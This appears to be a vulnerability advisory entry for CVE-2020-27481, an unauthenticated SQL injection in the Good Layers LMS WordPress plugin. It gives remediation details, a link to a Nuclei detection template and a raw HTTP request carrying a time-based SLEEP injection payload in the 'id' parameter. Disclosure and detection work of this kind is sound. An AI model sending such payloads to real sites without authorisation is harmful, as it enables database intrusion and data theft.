| Title | Good Layers LMS Plugin <= 2.1.4 - SQL Injection |
|---|---|
| Author | edoardottt |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Upgrade to the latest version of the Good Layers LMS Plugin (2.1.5 or higher) to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.51483 |
| CVE ID | CVE-2020-27481 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve cve2020 goodlayerslms sqli wpscan goodlayers wordpress vkev vuln |
An unauthenticated SQL Injection vulnerability in Good Layers LMS Plugin <= 2.1.4 exists due to the usage of “wp_ajax_nopriv” call in WordPress, which allows any unauthenticated user to get access to the function “gdlr_lms_cancel_booking” where POST Parameter “id” was sent straight into SQL query without sanitization.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=gdlr_lms_cancel_booking&id=(SELECT%201337%20FROM%20(SELECT(SLEEP(6)))MrMV)
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-27481.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-27481.pcap
N/AN/A